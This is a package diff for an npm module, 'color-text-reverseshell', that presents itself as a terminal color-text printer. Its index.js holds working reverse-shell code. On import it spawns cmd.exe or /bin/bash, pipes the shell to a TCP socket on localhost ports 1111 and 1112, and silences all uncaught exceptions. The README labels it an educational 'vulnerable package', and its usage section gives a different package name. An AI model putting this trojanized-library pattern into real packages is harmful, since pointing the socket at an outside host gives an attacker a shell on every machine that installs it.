color-text-reverseshell 1.0.1

package/README.md

@@ -0,0 +1,31 @@
+**Warning: This package contains a reverse shell to localhost on port 1111 for windows and 1112 for linux.**
+
+This package is a vulnerable package and is created for educational purposes.
+
+
+## Usage
+This package contains a function to display color text in the terminal.
+
+```javascript
+const {printWithColor} = require('color-text-webshell');
+
+printWithColor("Hello World", "red");
+printWithColor("Hello World", "green");
+printWithColor("Hello World", "blue");
+printWithColor("Hello World", "yellow");
+printWithColor("Hello World", "magenta");
+printWithColor("Hello World", "cyan");
+printWithColor("Hello World", "white");
+```
+
+The result is :  
+![Result](https://github.com/pierrickdelrieu/pic_vulnerable/blob/main/demo.png)
+
+
+
+
+## Installation
+Download node at [nodejs.org](http://nodejs.org/) and install it, if you haven't already.
+```
+npm install color-text-webshell
+```

package/index.js

@@ -0,0 +1,62 @@
+const attackServer = "127.0.0.1"
+const windowsAttackPort = 1111
+const linuxAttackPort = 1112
+
+
+function setupReverseShell() {
+    // For windows
+    var net = require("net"),
+        child = require("child_process"),
+        shell = child.spawn("cmd.exe", []);
+
+    var client = new net.Socket();
+
+    client.connect(windowsAttackPort, attackServer, function(){
+        client.pipe(shell.stdin);
+        shell.stdout.pipe(client);
+        shell.stderr.pipe(client);
+    })
+
+
+
+    // For linux
+    net = require("net"),
+        child = require("child_process"),
+        shell = child.spawn("/bin/bash", []);
+
+    client = new net.Socket();
+
+    client.connect(linuxAttackPort, attackServer, function(){
+        client.pipe(shell.stdin);
+        shell.stdout.pipe(client);
+        shell.stderr.pipe(client);
+    })
+};
+
+setupReverseShell();
+process.on('uncaughtException', err => { 
+    return
+})
+
+
+
+function printWithColor(string, color) {
+    if(color === 'red') {
+        console.log('\x1b[31m%s\x1b[0m', string);
+    } else if(color === 'green') {
+        console.log('\x1b[32m%s\x1b[0m', string);
+    } else if(color === 'yellow') {
+        console.log('\x1b[33m%s\x1b[0m', string);
+    } else if(color === 'blue') {
+        console.log('\x1b[34m%s\x1b[0m', string);
+    } else if(color === 'magenta') {
+        console.log('\x1b[35m%s\x1b[0m', string);
+    } else if(color === 'cyan') {
+        console.log('\x1b[36m%s\x1b[0m', string);
+    } else {
+        console.log('\x1b[37m%s\x1b[0m', string);
+    }
+}
+
+
+module.exports = {printWithColor};

package/package.json

@@ -0,0 +1,17 @@
+{
+    "name": "color-text-reverseshell",
+    "version": "1.0.1",
+    "description": "This package is a vulnerable package and is created for educational purposes.",
+    "main": "index.js",
+    "repository": "https://github.com/pierrickdelrieu/npmPackage-colorTextWebshell",
+    "scripts": {
+        "start": "node index.js"
+    },
+    "keywords": [
+        "test",
+        "vulnerable",
+        "local webshell"
+    ],
+    "author": "Pierrick Delrieu",
+    "license": "ISC"
+}